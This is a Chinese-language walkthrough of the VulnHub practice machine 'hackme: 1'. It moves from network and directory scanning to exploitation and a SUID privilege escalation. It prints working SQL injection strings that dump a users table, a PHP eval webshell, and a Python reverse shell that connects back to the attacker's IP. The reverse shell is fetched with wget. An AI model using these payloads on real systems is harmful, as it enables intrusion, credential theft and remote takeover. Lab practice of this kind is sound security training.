目录
靶机描述
kai
一、 信息收集
二、 漏洞挖掘
三、 漏洞利用
四、 提权
靶场链接:hackme: 1 ~ VulnHub
直接点第二个下载
靶场描述
这是一个练习sql注入和文件上传的靶机
靶机搭建
1.下载并导入靶机(解压完直接点ova文件就可以直接导入了)
2.看看虚拟机的网路适配器,kali是nat那就设成nat
3.启动靶机
进行渗透
一.信息收集
1.查找靶机ip
arp-scan-l
.1,2,254是kali自己的所以166就是靶机的ip
2.扫描端口
nmap -sS -T4 -sV -p- -O 192.168.191.166
-sS
:进行 TCP SYN 扫描(也称为半开扫描)。
-T4
:设置定时器模板为 aggressive 模式,这会使扫描速度加快。
-sV
:启用服务版本检测。
-p-
:指定扫描所有端口。
-O
:启用操作系统检测。
3.目录扫描
dirb扫描
dirsearch扫描
发现3个有用的login.php,register.php(应该是用来注册的),uploads(可以文件上传)
二.漏洞挖掘
先去注册,然后登陆账号,
应该是查图书之类的吧,试试有没有SQL注入
1.sql注入
1' or 1=1#,发现有sql注入
2.疑似文件上传
三.漏洞利用
1.sql注入
这里使用sqlmap的方法是用burp抓包有一个search参数可以注入,然后把抓包数据放入一个txt空文件中,然后在kali输入sqlmap -r "1.txt" --dbs --tables --columns --dump --batch
手工注入的方法:
1.先查字段::1' order by 3#
2.查数据库名这些:1' union select 1,2,database()#
3.爆表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
4.爆字段名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
发现了user,pasword
5.查user,pasword字段
1' union select 1,2,group_concat(user,pasword) from users#
在里面找到了superadmin账号应该是管理员账号,把密码去md5网站解密
登陆superadmin账户
2.文件上传
发现了上传点
上传一句话木马试试:<?php @eval($_POST['a']);?>
然后在uploads页面点击你上传的php并把url复制到蚁剑上密码是a
3.反弹shell
现在kali上上传反弹shell并用python搭建http服务
搭建http服务:python3 -m http.server 80
在搭建http服务的目录上上传反弹shell:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.191.165",6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
(这段代码中要把ip地址换成kali的ip地址,端口自己定)
把这段代码粘贴创建成789.py文件
之后在蚁剑uploads目录开启终端使用wget wget http://192.168.191.165/789.py下载反弹shell文件
之后在kali机开启监听
使用反弹shell脚本
反弹后一般要输入python -c 'import pty; pty.spawn("/bin/bash")'来模拟终端环境或提升交互性
四.提权
查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null
发现一个可疑文件/home/legacy/touchmenot
尝试运行程序:发现直接提权成功